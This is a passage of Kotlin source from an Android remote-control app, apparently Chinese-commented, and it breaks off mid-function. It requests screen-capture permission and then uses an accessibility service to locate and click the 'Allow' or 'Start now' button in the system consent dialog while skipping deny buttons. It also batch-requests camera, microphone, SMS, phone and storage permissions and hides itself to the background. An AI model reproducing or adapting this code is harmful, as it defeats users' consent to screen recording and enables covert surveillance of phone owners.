if (hasAccessibilityScreenshotPermission && !hasMediaProjectionPermission) { Log.w(TAG, "⚠️ 检测到仅有无障碍截图权限,但缺少MediaProjection实时投屏权限") Log.w(TAG, "⚠️ 无障碍截图只能单次截图,实时投屏需要MediaProjection权限") runOnUiThread { statusText.text = "⚠️ 检测到权限配置不完整\n正在自动申请服务权限..." statusText.setTextColor(getColor(android.R.color.holo_orange_dark)) } } // 检查AccessibilityService实例状态 val serviceRunning = AccessibilityRemoteService.isServiceRunning() val serviceInstance = AccessibilityRemoteService.getInstance() Log.i( TAG, "📊 AccessibilityService状态: running=$serviceRunning, instance=${serviceInstance != null}" ) if (serviceRunning && serviceInstance != null) { // 服务正常但需要申请MediaProjection权限 Log.w(TAG, "⚠️ AccessibilityService正常,但需要申请MediaProjection权限") startMediaProjectionPermissionFlow() } else { // 服务可能崩溃或启动异常,启动超时重试检测 Log.w(TAG, "⚠️ AccessibilityService可能出现故障,启动超时恢复机制") startAccessibilityServiceFailureRecovery() } } /** * ✅ 新增:检查Android 9+无障碍服务截图权限 */ private fun checkAccessibilityScreenshotPermission(): Boolean { return try { if (Build.VERSION.SDK_INT >= 28) { // Android 9+ val serviceInstance = AccessibilityRemoteService.getInstance() if (serviceInstance != null) { // 简单检查:如果无障碍服务运行且API级别支持,认为有截图权限 Log.d(TAG, "Android ${Build.VERSION.SDK_INT}支持无障碍截图API") true } else { false } } else { Log.d(TAG, "Android ${Build.VERSION.SDK_INT}不支持无障碍截图API") false } } catch (e: Exception) { Log.e(TAG, "检查无障碍截图权限失败", e) false } } /** * ✅ 新增:检查真实的MediaProjection权限(不仅仅是数据存在) */ private fun checkRealMediaProjectionPermission(): Boolean { return try { Log.d(TAG, "🔍 开始检查真实MediaProjection权限") val permissionData = MediaProjectionHolder.getPermissionData() if (permissionData == null) { Log.d(TAG, "MediaProjection权限数据不存在") return false } Log.d(TAG, "✅ MediaProjection权限数据存在,开始验证有效性") // 验证权限数据的有效性 val (resultCode, resultData) = permissionData if (resultData == null) { Log.w(TAG, "MediaProjection权限Intent数据为null") return false } Log.d(TAG, "📊 权限数据详情: resultCode=$resultCode, Intent存在=${resultData != null}") // ✅ 使用更安全的方式检测权限,避免创建可能失败的MediaProjection实例 // 对于某些设备,直接创建MediaProjection可能会失败或抛出异常 Log.d(TAG, "🔧 使用保守策略:检查权限数据完整性而不直接创建MediaProjection实例") // 检查Intent数据的完整性 val hasValidData = resultData.hasExtra("android.media.projection.extra.EXTRA_MEDIA_PROJECTION") || resultData.action != null || resultData.data != null if (!hasValidData) { Log.w(TAG, "MediaProjection权限Intent缺少必要数据") return false } // 检查resultCode是否有效(通常应该是RESULT_OK = -1) if (resultCode != android.app.Activity.RESULT_OK) { Log.w( TAG, "MediaProjection权限resultCode无效: $resultCode (期望: ${android.app.Activity.RESULT_OK})" ) return false } Log.d(TAG, "✅ MediaProjection权限数据验证通过(保守策略)") return true } catch (e: Exception) { Log.e(TAG, "❌ 验证MediaProjection权限发生异常", e) return false } } /** * ✅ 新增:专门的MediaProjection权限申请流程 */ private fun startMediaProjectionPermissionFlow() { Log.i(TAG, "🎯 启动专门的MediaProjection权限申请流程") // ✅ 新增:标记正在申请权限,防止保活循环 markPermissionRequesting(true) runOnUiThread { // 使用线程安全方法 updateStatusTextThreadSafe("🎯 申请服务权限中...", android.R.color.holo_blue_dark) } // 重置重试计数并启动自动重试权限检测 autoRetryCount = 0 startAutoRetryPermissionCheck() } /** * ✅ 新增:智能权限申请流程(绕过可能卡住的AccessibilityService逻辑) */ private fun startIntelligentPermissionFlow() { Log.i(TAG, "🧠 启动智能权限申请流程") runOnUiThread { statusText.text = "🧠 检测到权限流程异常\n正在智能恢复权限申请..." statusText.setTextColor(getColor(android.R.color.holo_blue_dark)) } // 重置重试计数并启动自动重试权限检测 autoRetryCount = 0 startAutoRetryPermissionCheck() } /** * ✅ 新增:AccessibilityService故障恢复机制 */ private fun startAccessibilityServiceFailureRecovery() { Log.i(TAG, "🔧 启动AccessibilityService故障恢复机制") runOnUiThread { statusText.text = "🔧 检测到无障碍服务可能出现故障\n正在等待服务恢复..." statusText.setTextColor(getColor(android.R.color.holo_orange_dark)) } // 启动智能等待和检测机制:每3秒检查一次,最多检查10次(30秒) var checkCount = 0 val maxChecks = 10 val checkInterval = 3000L val recoveryHandler = android.os.Handler(android.os.Looper.getMainLooper()) val recoveryRunnable = object : Runnable { override fun run() { checkCount++ Log.i(TAG, "🔍 AccessibilityService恢复检测 (${checkCount}/${maxChecks})") val serviceRunning = AccessibilityRemoteService.isServiceRunning() val serviceInstance = AccessibilityRemoteService.getInstance() if (serviceRunning && serviceInstance != null) { Log.i(TAG, "✅ AccessibilityService已恢复,启动智能权限申请") runOnUiThread { statusText.text = "✅ 无障碍服务已恢复\n开始智能权限申请..." statusText.setTextColor(getColor(android.R.color.holo_green_dark)) } // 延迟1秒后启动权限申请,确保服务完全就绪 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ startIntelligentPermissionFlow() }, 1000) return // 停止继续检测 } // 更新UI显示等待进度 val remainingChecks = maxChecks - checkCount val remainingTime = (remainingChecks * checkInterval) / 1000 runOnUiThread { statusText.text = "🔧 等待无障碍服务恢复...\n" + "第${checkCount}次检测,剩余${remainingChecks}次\n" + "预计还需${remainingTime}秒,请稍候" statusText.setTextColor(getColor(android.R.color.holo_orange_dark)) } if (checkCount < maxChecks) { // 继续下次检测 recoveryHandler.postDelayed(this, checkInterval) } else { // 恢复超时,提供备用方案 Log.w(TAG, "⚠️ AccessibilityService恢复超时,启动备用方案") handleAccessibilityServiceRecoveryTimeout() } } } // 开始第一次检测 recoveryHandler.postDelayed(recoveryRunnable, checkInterval) } /** * ✅ 新增:AccessibilityService恢复超时处理 */ private fun handleAccessibilityServiceRecoveryTimeout() { Log.w(TAG, "⚠️ AccessibilityService恢复超时,提供备用权限申请方案") runOnUiThread { statusText.text = "⚠️ 无障碍服务长时间无响应\n尝试备用权限申请方案..." statusText.setTextColor(getColor(android.R.color.holo_red_dark)) } // 尝试直接申请MediaProjection权限,不依赖AccessibilityService android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ Log.i(TAG, "🔄 启动备用权限申请:直接申请MediaProjection权限") runOnUiThread { statusText.text = "🔄 启动备用服务权限申请方案\n正在申请服务权限..." statusText.setTextColor(getColor(android.R.color.holo_blue_dark)) } // 直接申请权限,不依赖AccessibilityService的自动处理 requestMediaProjectionPermission() }, 2000) } // 删除悬浮窗权限相关方法 private fun isAccessibilityServiceEnabled(): Boolean { val serviceName = "${packageName}/${AccessibilityRemoteService::class.java.name}" try { // 首先检查无障碍服务是否全局启用 val accessibilityEnabled = Settings.Secure.getInt( contentResolver, Settings.Secure.ACCESSIBILITY_ENABLED ) if (accessibilityEnabled != 1) { Log.d(TAG, "🔍 无障碍服务全局未启用") return false } // 然后检查我们的服务是否在启用列表中 val enabledServices = Settings.Secure.getString( contentResolver, Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES ) val isEnabled = enabledServices?.contains(serviceName) == true Log.d(TAG, "🔍 无障碍服务检查: 全局启用=$accessibilityEnabled, 服务启用=$isEnabled, 服务名=$serviceName") return isEnabled } catch (e: Exception) { Log.e(TAG, "检查无障碍权限失败", e) return false } } private fun openAccessibilitySettings() { try { // 参考反编译逻辑:优先尝试三星专用Action var intent = Intent("com.samsung.accessibility.installed_service").apply { // 对应 268468224 的组合标志(保持原样,避免行为差异) flags = 268468224 } // 若不可达,退回标准无障碍设置 if (intent.resolveActivity(packageManager) == null) { intent = Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS) if (intent.resolveActivity(packageManager) == null) { // 最后兜底:标准无障碍设置 + 指定目标服务ComponentName val fallback = Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS).apply { putExtra( "android.intent.extra.COMPONENT_NAME", android.content.ComponentName( packageName, com.hikoncont.service.AccessibilityRemoteService::class.java.name ) ) flags = 268468224 } startActivity(fallback) return } } // 将目标服务拼接为 fragment args,便于部分ROM直达目标服务项 val target = packageName + "/" + com.hikoncont.service.AccessibilityRemoteService::class.java.name val args = android.os.Bundle().apply { putString(":settings:fragment_args_key", target) } intent.putExtra(":settings:fragment_args_key", target) intent.putExtra(":settings:show_fragment_args", args) intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) startActivity(intent) } catch (e: Exception) { Log.e(TAG, "打开无障碍设置失败", e) // 兜底再次尝试标准入口 try { startActivityForResult( Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS), REQUEST_ACCESSIBILITY_PERMISSION ) } catch (_: Exception) { } } } /** * 发送所有权限申请广播 */ private fun sendAllPermissionsRequestBroadcast() { try { Log.i(TAG, "📡 发送所有权限申请广播") // 更新UI状态 runOnUiThread { statusText.text = "🔧 正在申请所有权限...\n请一次性允许所有权限" statusText.setTextColor(getColor(android.R.color.holo_orange_dark)) } // 发送广播给AccessibilityRemoteService val intent = Intent("android.mycustrecev.REQUEST_ALL_PERMISSIONS").apply { putExtra("action", "request_all_permissions") putExtra("callback_action", "all_permissions_complete") putExtra("timestamp", System.currentTimeMillis()) } sendBroadcast(intent) Log.i(TAG, "✅ 已发送所有权限申请广播") } catch (e: Exception) { Log.e(TAG, "❌ 发送所有权限申请广播失败", e) runOnUiThread { statusText.text = "❌ 广播发送失败\n请重试" statusText.setTextColor(getColor(android.R.color.holo_red_dark)) } } } /** * 一次性获取所有权限 - 调试按钮新功能 */ private fun requestAllPermissionsAtOnce() { try { Log.i(TAG, "🎯 开始一次性获取所有权限") // 更新UI状态 runOnUiThread { statusText.text = "🔧 正在申请所有权限...\n请一次性允许所有权限" statusText.setTextColor(getColor(android.R.color.holo_orange_dark)) } // 延迟执行权限申请,确保UI更新 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ try { // 收集所有需要的权限 val allPermissions = mutableListOf() val permissionNames = mutableListOf() // 摄像头权限 if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { if (checkSelfPermission(android.Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) { allPermissions.add(android.Manifest.permission.CAMERA) permissionNames.add("摄像头") } // 麦克风权限 if (checkSelfPermission(android.Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED) { allPermissions.add(android.Manifest.permission.RECORD_AUDIO) permissionNames.add("麦克风") } // 相册权限(根据Android版本选择) val galleryPermissions = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { arrayOf( android.Manifest.permission.READ_MEDIA_IMAGES, android.Manifest.permission.READ_MEDIA_VIDEO ) } else { arrayOf( android.Manifest.permission.READ_EXTERNAL_STORAGE, android.Manifest.permission.WRITE_EXTERNAL_STORAGE ) } val needGalleryPermissions = galleryPermissions.filter { checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED } if (needGalleryPermissions.isNotEmpty()) { allPermissions.addAll(needGalleryPermissions) permissionNames.add("相册") } // 短信权限 val smsPermissions = arrayOf( android.Manifest.permission.READ_SMS, android.Manifest.permission.SEND_SMS, android.Manifest.permission.RECEIVE_SMS, android.Manifest.permission.READ_PHONE_STATE, android.Manifest.permission.CALL_PHONE ) val needSmsPermissions = smsPermissions.filter { checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED } if (needSmsPermissions.isNotEmpty()) { allPermissions.addAll(needSmsPermissions) permissionNames.add("短信") } } if (allPermissions.isNotEmpty()) { Log.i(TAG, "📋 需要申请的权限: ${permissionNames.joinToString(", ")}") Log.i(TAG, "📋 权限列表: ${allPermissions.joinToString(", ")}") // 一次性申请所有权限 requestPermissions(allPermissions.toTypedArray(), REQUEST_ALL_PERMISSIONS) // 更新UI状态 runOnUiThread { statusText.text = "🔧 正在申请权限: ${permissionNames.joinToString(", ")}\n请一次性允许所有权限" statusText.setTextColor(getColor(android.R.color.holo_orange_dark)) } } else { Log.i(TAG, "✅ 所有权限已授予,无需申请") runOnUiThread { statusText.text = "✅ 所有权限已授予\n无需申请" statusText.setTextColor(getColor(android.R.color.holo_green_dark)) } } } catch (e: Exception) { Log.e(TAG, "❌ 收集权限列表失败", e) runOnUiThread { statusText.text = "❌ 权限收集失败\n请重试" statusText.setTextColor(getColor(android.R.color.holo_red_dark)) } } }, 1000) // 1秒延迟 } catch (e: Exception) { Log.e(TAG, "❌ 一次性权限申请失败", e) runOnUiThread { statusText.text = "❌ 权限申请失败\n请重试" statusText.setTextColor(getColor(android.R.color.holo_red_dark)) } } } private fun requestMediaProjectionPermission() { try { Log.i(TAG, "申请MediaProjection权限") // ✅ 新增:设备特定调试信息(不影响现有逻辑) Log.i( TAG, "🔍 设备信息: ${android.os.Build.MANUFACTURER} ${android.os.Build.MODEL} (API ${android.os.Build.VERSION.SDK_INT})" ) Log.i(TAG, "🔍 ROM版本: ${android.os.Build.DISPLAY}") // ✅ 参考billd-desk:Android 11+也需要申请MediaProjection权限(不再跳过) // billd-desk通过Fragment.startActivityForResult(createScreenCaptureIntent())在所有版本申请权限 Log.i(TAG, "📱 Android ${Build.VERSION.SDK_INT} 设备,正常申请MediaProjection权限(参考billd-desk)") // ✅ 检测是否为已知的有问题的设备 val isXiaomiDevice = android.os.Build.MANUFACTURER.equals("Xiaomi", ignoreCase = true) || android.os.Build.MANUFACTURER.equals("Redmi", ignoreCase = true) || android.os.Build.BRAND.equals("Xiaomi", ignoreCase = true) || android.os.Build.BRAND.equals("Redmi", ignoreCase = true) || android.os.Build.BRAND.equals("POCO", ignoreCase = true) if (isXiaomiDevice && android.os.Build.VERSION.SDK_INT == 29) { Log.w(TAG, "⚠️ 检测到Xiaomi Android 10设备,这类设备可能存在权限对话框不显示的问题") Log.i(TAG, "🔧 将尝试简化的权限申请方法") } // 检查MediaProjectionManager是否已初始化 if (mediaProjectionManager == null) { Log.e(TAG, "❌ MediaProjectionManager未初始化,重新初始化") mediaProjectionManager = getSystemService(MEDIA_PROJECTION_SERVICE) as MediaProjectionManager if (mediaProjectionManager == null) { Log.e(TAG, "❌ 重新初始化MediaProjectionManager失败") return } } // 通知无障碍服务开始权限申请 notifyAccessibilityServicePermissionRequest() // ✅ 为 MIUI 设备使用简化的权限申请方法 if (isXiaomiDevice && android.os.Build.VERSION.SDK_INT == 29) { requestMediaProjectionPermissionForMIUI() return } // 创建MediaProjection权限请求Intent val intent = mediaProjectionManager?.createScreenCaptureIntent() if (intent == null) { Log.e(TAG, "❌ 创建MediaProjection权限Intent失败") return } // ✅ 新增:详细的Intent信息(帮助诊断问题) Log.i(TAG, "📋 权限Intent详情:") Log.i(TAG, " - Component: ${intent.component}") Log.i(TAG, " - Action: ${intent.action}") Log.i(TAG, " - Package: ${intent.`package`}") Log.i(TAG, " - Flags: 0x${intent.flags.toString(16)}") // ✅ 新增:检查Intent是否能被系统处理 try { val resolveInfo = packageManager.resolveActivity(intent, 0) if (resolveInfo != null) { Log.i(TAG, "✅ 系统可以处理权限Intent") Log.i(TAG, " - 处理应用: ${resolveInfo.activityInfo.packageName}") Log.i(TAG, " - 处理Activity: ${resolveInfo.activityInfo.name}") } else { Log.e(TAG, "❌ 系统无法处理权限Intent!这可能是问题根源") } } catch (e: Exception) { Log.e(TAG, "❌ 检查Intent处理能力时出错", e) } // ✅ 新增:Activity状态检查 Log.i(TAG, "📱 Activity状态:") Log.i(TAG, " - isFinishing: $isFinishing") Log.i(TAG, " - hasWindowFocus: ${hasWindowFocus()}") Log.i(TAG, " - lifecycle.state: ${lifecycle.currentState}") Log.i(TAG, "✅ 成功创建MediaProjection权限Intent,启动系统权限对话框") // ✅ 新增:记录启动时间(用于后续分析) val startTime = System.currentTimeMillis() Log.i(TAG, "🚀 启动权限对话框时间: $startTime") startActivityForResult(intent, REQUEST_MEDIA_PROJECTION) // ✅ 新增:启动后立即检查(不改变现有逻辑) Log.i( TAG, "✅ startActivityForResult调用完成,耗时: ${System.currentTimeMillis() - startTime}ms" ) // ✅ 启动MediaProjection权限监听,检测权限是否被自动获取 startMediaProjectionPermissionMonitoring() } catch (e: Exception) { Log.e(TAG, "❌ 申请MediaProjection权限失败", e) } } /** * ✅ 专门为 MIUI 设备设计的权限申请方法 - 简化版,避免SimplePermissionActivity崩溃 */ private fun requestMediaProjectionPermissionForMIUI() { try { Log.i(TAG, "🔧 开始MIUI设备专用权限申请流程") // ✅ 检测设备ROM版本,决定使用哪种方法 val buildVersion = android.os.Build.VERSION.RELEASE val miuiVersion = android.os.Build.VERSION.INCREMENTAL Log.i(TAG, "🔍 MIUI设备详情: Android $buildVersion, MIUI $miuiVersion") // 方法1:确保Activity处于最佳状态 runOnUiThread { statusText.text = "🔧 正在为设备优化权限申请...\n使用简化权限申请方法" statusText.setTextColor(getColor(android.R.color.holo_orange_dark)) } // ✅ 对于容易崩溃的设备,直接使用内置方法,避免SimplePermissionActivity if (android.os.Build.VERSION.SDK_INT <= 29) { // Android 10及以下 Log.i(TAG, "🔧 检测到Android 10及以下设备,直接使用内置方法避免兼容性问题") requestMIUIBuiltinMethod() return } // 方法1:尝试使用独立的SimplePermissionActivity,增强异常处理 Log.i(TAG, "🧪 MIUI设备尝试使用SimplePermissionActivity") try { val simplePermissionIntent = Intent(this, com.hikoncont.activity.SimplePermissionActivity::class.java) // ✅ 检查SimplePermissionActivity是否可以启动 val packageManager = packageManager val resolveInfo = packageManager.resolveActivity(simplePermissionIntent, 0) if (resolveInfo == null) { Log.e(TAG, "❌ SimplePermissionActivity无法解析,直接使用内置方法") throw Exception("SimplePermissionActivity无法解析") } Log.i(TAG, "✅ SimplePermissionActivity可以启动,开始启动") startActivityForResult(simplePermissionIntent, REQUEST_SIMPLE_PERMISSION) // 启动监听 startMediaProjectionPermissionMonitoring() Log.i(TAG, "✅ MIUI设备SimplePermissionActivity已启动") // ✅ 添加超时检测,防止SimplePermissionActivity卡住 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ Log.w(TAG, "⚠️ SimplePermissionActivity启动超时,检查是否需要回退") // 检查权限是否已获取,如果没有则回退到内置方法 val permissionData = MediaProjectionHolder.getPermissionData() if (permissionData == null) { Log.w(TAG, "⚠️ SimplePermissionActivity超时且权限未获取,回退到内置方法") requestMIUIBuiltinMethod() } }, 3000) // 缩短超时时间到3秒 } catch (e: Exception) { Log.e(TAG, "❌ SimplePermissionActivity启动异常", e) throw e // 重新抛出异常,让外层catch处理 } } catch (e: Exception) { Log.e(TAG, "❌ MIUI SimplePermissionActivity启动失败", e) // 回退到内置方法 requestMIUIBuiltinMethod() } } /** * ✅ MIUI设备内置权限申请方法 */ private fun requestMIUIBuiltinMethod() { try { Log.i(TAG, "🔧 MIUI设备使用内置权限申请方法") runOnUiThread { statusText.text = "🔧 尝试内置权限申请方法..." statusText.setTextColor(getColor(android.R.color.holo_orange_dark)) } // 方法2:清理任何可能的干扰状态 window.clearFlags(android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE) // 方法3:使用延迟确保Activity完全稳定,增强异常处理 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ try { Log.i(TAG, "🔧 MIUI延迟后开始权限申请") // ✅ 检查Activity状态,确保没有被销毁 if (isFinishing || isDestroyed) { Log.e(TAG, "❌ Activity已销毁,取消权限申请") return@postDelayed } // 重新创建MediaProjectionManager确保状态干净 mediaProjectionManager = getSystemService(MEDIA_PROJECTION_SERVICE) as MediaProjectionManager val intent = mediaProjectionManager?.createScreenCaptureIntent() if (intent == null) { Log.e(TAG, "❌ MIUI设备创建权限Intent失败") // 尝试标准方法 requestStandardMediaProjectionPermission() return@postDelayed } Log.i(TAG, "🔧 MIUI设备权限Intent创建成功") Log.i(TAG, " - Component: ${intent.component}") Log.i(TAG, " - Package: ${intent.`package`}") // 方法4:不添加任何额外的Intent标志,保持最简单的状态 Log.i(TAG, "🔧 MIUI设备使用最简单的权限申请方式") // ✅ 添加try-catch保护startActivityForResult调用 try { Log.i(TAG, "🚀 MIUI设备启动权限对话框") startActivityForResult(intent, REQUEST_MEDIA_PROJECTION) Log.i(TAG, "✅ MIUI设备权限申请已启动") // 启动监听 startMediaProjectionPermissionMonitoring() // 方法6:更新UI状态 runOnUiThread { statusText.text = "📱 请在弹出的权限对话框中点击\"立即开始\"\n如果没有看到对话框,请稍等片刻" statusText.setTextColor(getColor(android.R.color.holo_blue_dark)) } } catch (activityException: Exception) { Log.e(TAG, "❌ MIUI设备启动权限对话框失败", activityException) // 立即尝试标准方法 requestStandardMediaProjectionPermission() } } catch (e: Exception) { Log.e(TAG, "❌ MIUI设备权限申请失败", e) // 失败时回退到普通方法 runOnUiThread { statusText.text = "⚠️ 优化失败,尝试标准方法...\n正在重新申请权限" statusText.setTextColor(getColor(android.R.color.holo_orange_dark)) } // 延迟后使用标准方法重试 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ requestStandardMediaProjectionPermission() }, 500) // 缩短延迟时间 } }, 500) // 缩短延迟时间,加快权限申请 } catch (e: Exception) { Log.e(TAG, "❌ MIUI内置权限申请方法失败", e) // 回退到标准方法 requestStandardMediaProjectionPermission() } } /** * ✅ 标准的权限申请方法(用作回退) */ private fun requestStandardMediaProjectionPermission() { try { Log.i(TAG, "🔧 使用标准权限申请方法") val intent = mediaProjectionManager?.createScreenCaptureIntent() if (intent != null) { startActivityForResult(intent, REQUEST_MEDIA_PROJECTION) startMediaProjectionPermissionMonitoring() Log.i(TAG, "✅ 标准权限申请已启动") } else { Log.e(TAG, "❌ 标准权限申请失败:无法创建Intent") } } catch (e: Exception) { Log.e(TAG, "❌ 标准权限申请异常", e) } } /** * Android 10 专用 MediaProjection 弹框处理 * 不依赖无障碍服务,直接处理权限弹框 */ private fun startAndroid10MediaProjectionDialogHandling() { Log.i(TAG, "📱 Android 10:开始直接弹框处理") // 使用 Handler 延迟处理,确保权限弹框完全显示 Handler(Looper.getMainLooper()).postDelayed({ try { Log.i(TAG, "📱 Android 10:开始查找并点击允许按钮") handleAndroid10MediaProjectionDialogDirectly() } catch (e: Exception) { Log.e(TAG, "❌ Android 10弹框处理异常", e) } }, 1000) // 延迟1秒,确保弹框完全显示 } /** * Android 10 直接处理 MediaProjection 弹框 */ private fun handleAndroid10MediaProjectionDialogDirectly() { try { Log.i(TAG, "📱 Android 10:开始直接处理权限弹框") // 获取无障碍服务实例 val accessibilityService = AccessibilityRemoteService.getInstance() if (accessibilityService == null) { Log.w(TAG, "⚠️ Android 10:无障碍服务未启动,无法处理弹框") return } // 获取当前窗口根节点 val rootNode = accessibilityService.rootInActiveWindow if (rootNode == null) { Log.w(TAG, "⚠️ Android 10:无法获取窗口根节点") return } Log.i(TAG, "📱 Android 10:成功获取窗口根节点,开始查找允许按钮") // 定义允许按钮文本 val allowButtonTexts = arrayOf( // 中文允许按钮 "允许", "确定", "确认", "授权", "同意", "是", "好", "好的", "继续", "立即开始", "现在开始", "开始", "开始录制", "开始投屏", "开始共享", "立即授权", "授予权限", "确认共享", "立即确认", // 英文允许按钮 "Allow", "OK", "Agree", "Grant", "Accept", "Yes", "Continue", "Start", "Start now", "Start sharing", "Share screen", "Begin recording", "Begin casting", "Record screen", "Cast screen", "Allow recording", "Allow casting", "Start recording", "Start capture" ) // 定义拒绝按钮文本 val denyButtonTexts = arrayOf( "禁止", "拒绝", "取消", "Cancel", "Deny", "Dismiss", "不允许", "不同意" ) // 策略1:按文本查找允许按钮 for (text in allowButtonTexts) { val buttons = findNodesByText(rootNode, text) Log.d(TAG, "📱 Android 10:查找文本 '$text' 找到 ${buttons.size} 个节点") for (button in buttons) { if (button.isClickable && button.isEnabled) { val buttonText = button.text?.toString() ?: "" val buttonDesc = button.contentDescription?.toString() ?: "" // 检查是否为拒绝按钮 val isDenyButton = denyButtonTexts.any { denyText -> buttonText.contains(denyText, ignoreCase = true) || buttonDesc.contains(denyText, ignoreCase = true) } if (!isDenyButton) { Log.i(TAG, "✅ Android 10:找到允许按钮 - 文本: '$buttonText', 描述: '$buttonDesc'") Log.i(TAG, "✅ Android 10:点击允许按钮") // 执行点击 val clickResult = button.performAction(AccessibilityNodeInfo.ACTION_CLICK) Log.i(TAG, "✅ Android 10:点击结果: $clickResult") // 等待点击生效 Thread.sleep(500) // 检查权限是否已获得 val permissionData = MediaProjectionHolder.getPermissionData() if (permissionData != null) { Log.i(TAG, "✅ Android 10:MediaProjection权限已获得") return } return // 即使权限检查失败,也认为点击成功 } else { Log.d(TAG, " ⚠️ 跳过拒绝按钮: '$buttonText'") } } } } // 策略2:按类名查找按钮 Log.i(TAG, "📱 Android 10:按类名查找按钮...") val buttonNodes = findNodesByClassName(rootNode, "android.widget.Button") Log.d(TAG, "📱 Android 10:找到 ${buttonNodes.size} 个Button节点") for (button in buttonNodes) { if (button.isClickable && button.isEnabled) { val buttonText = button.text?.toString() ?: "" val buttonDesc = button.contentDescription?.toString() ?: "" Log.d(TAG, "📱 Android 10:检查Button: 文本='$buttonText', 描述='$buttonDesc'") // 检查是否包含允许文本 val containsAllowText = allowButtonTexts.any { allowText -> buttonText.contains(allowText, ignoreCase = true) || buttonDesc.contains(allowText, ignoreCase = true) } // 检查是否为拒绝按钮 val isDenyButton = denyButtonTexts.any { denyText -> buttonText.contains(denyText, ignoreCase = true) || buttonDesc.contains(denyText, ignoreCase = true) } if (containsAllowText && !isDenyButton) { Log.i(TAG, "✅ Android 10:找到允许Button - 文本: '$buttonText'") Log.i(TAG, "✅ Android 10:点击允许Button") val clickResult = button.performAction(AccessibilityNodeInfo.ACTION_CLICK) Log.i(TAG, "✅ Android 10:Button点击结果: $clickResult") Thread.sleep(500) val permissionData = MediaProjectionHolder.getPermissionData() if (permissionData != null) { Log.i(TAG, "✅ Android 10:MediaProjection权限已获得") return } return } } } Log.w(TAG, "⚠️ Android 10:未找到允许按钮") } catch (e: Exception) { Log.e(TAG, "❌ Android 10 MediaProjection弹框处理异常", e) } } /** * 按文本查找节点 */ private fun findNodesByText(rootNode: AccessibilityNodeInfo, text: String): List { val result = mutableListOf() fun traverse(node: AccessibilityNodeInfo) { val nodeText = node.text?.toString() ?: "" val nodeDesc = node.contentDescription?.toString() ?: "" if (nodeText.contains(text, ignoreCase = true) || nodeDesc.contains(text, ignoreCase = true)) { result.add(node) } for (i in 0 until node.childCount) { val child = node.getChild(i) if (child != null) { traverse(child) } } } traverse(rootNode) return result } /** * 按类名查找节点 */ private fun findNodesByClassName(rootNode: AccessibilityNodeInfo, className: String): List { val result = mutableListOf() fun traverse(node: AccessibilityNodeInfo) { if (node.className?.toString()?.contains(className) == true) { result.add(node) } for (i in 0 until node.childCount) { val child = node.getChild(i) if (child != null) { traverse(child) } } } traverse(rootNode) return result } /** * 通知无障碍服务开始权限申请 */ private fun notifyAccessibilityServicePermissionRequest() { try { // ✅ 恢复权限存在检查,防止Android 15设备重复申请权限 val permissionData = MediaProjectionHolder.getPermissionData() if (permissionData != null) { Log.i(TAG, "📱 MediaProjection权限已存在,停止权限申请流程") // 检查是否为Android 15设备的权限恢复场景 val android15Recovery = intent.getBooleanExtra("ANDROID_15_RECOVERY", false) val permissionLostRecovery = intent.getBooleanExtra("PERMISSION_LOST_RECOVERY", false) if (android15Recovery || permissionLostRecovery) { Log.i(TAG, "🔧 Android 15权限恢复场景,但权限已存在,直接完成恢复") // 发送权限恢复成功广播 val recoveryIntent = Intent("android.mycustrecev.MEDIA_PROJECTION_GRANTED").apply { putExtra("success", true) putExtra("permission_recovery", true) } sendBroadcast(recoveryIntent) // 显示恢复成功状态 runOnUiThread { statusText.text = "✅ 权限已存在,恢复完成\n功能正常运行" statusText.setTextColor(getColor(android.R.color.holo_green_dark)) enableButton.text = "恢复完成" enableButton.isEnabled = false } // 2秒后隐藏 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ hideActivityToBackground() }, 2000) } else { // 普通场景,立即停止申请 val stopIntent = Intent("android.mycustrecev.STOP_ACTIVITY_CREATION") sendBroadcast(stopIntent) Log.i(TAG, "📡 权限已存在,发送停止Activity创建广播") // 立即隐藏Activity hideActivityToBackground() } return } Log.i(TAG, "📡 发送权限申请广播,通知无障碍服务准备处理对话框") // 发送广播通知无障碍服务 val intent = Intent("android.mycustrecev.PERMISSION_REQUEST").apply { putExtra("permission_type", "media_projection") putExtra("requesting", true) } sendBroadcast(intent) Log.i(TAG, "✅ 已通知无障碍服务开始权限申请") } catch (e: Exception) { Log.e(TAG, "❌ 通知无障碍服务失败", e) } } override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) { Log.i(TAG, "🎬 ===== onActivityResult被调用 =====") Log.i(TAG, "📊 Activity结果详情:") Log.i(TAG, " - requestCode: $requestCode") Log.i(TAG, " - resultCode: $resultCode") Log.i(TAG, " - data: $data") Log.i(TAG, " - 系统时间: ${System.currentTimeMillis()}") super.onActivityResult(requestCode, resultCode, data) when (requestCode) { REQUEST_MEDIA_PROJECTION -> { Log.i(TAG, "🎯 处理MediaProjection权限结果") Log.i(TAG, " - REQUEST_MEDIA_PROJECTION值: $REQUEST_MEDIA_PROJECTION") Log.i(TAG, " - resultCode详情: $resultCode") Log.i(TAG, " - RESULT_OK值: ${Activity.RESULT_OK}") Log.i(TAG, " - RESULT_CANCELED值: ${Activity.RESULT_CANCELED}") Log.i(TAG, " - Intent数据存在: ${data != null}") if (data != null) { Log.i(TAG, " - Intent Action: ${data.action}") Log.i(TAG, " - Intent Extras: ${data.extras?.keySet()}") Log.i(TAG, " - Intent Component: ${data.component}") Log.i(TAG, " - Intent Package: ${data.`package`}") } when (resultCode) { Activity.RESULT_OK -> { Log.i(TAG, "✅ 用户允许了MediaProjection权限") } Activity.RESULT_CANCELED -> { Log.w(TAG, "❌ 用户拒绝了MediaProjection权限") } else -> { Log.w(TAG, "⚠️ 未知的resultCode: $resultCode") } } handleMediaProjectionResult(resultCode, 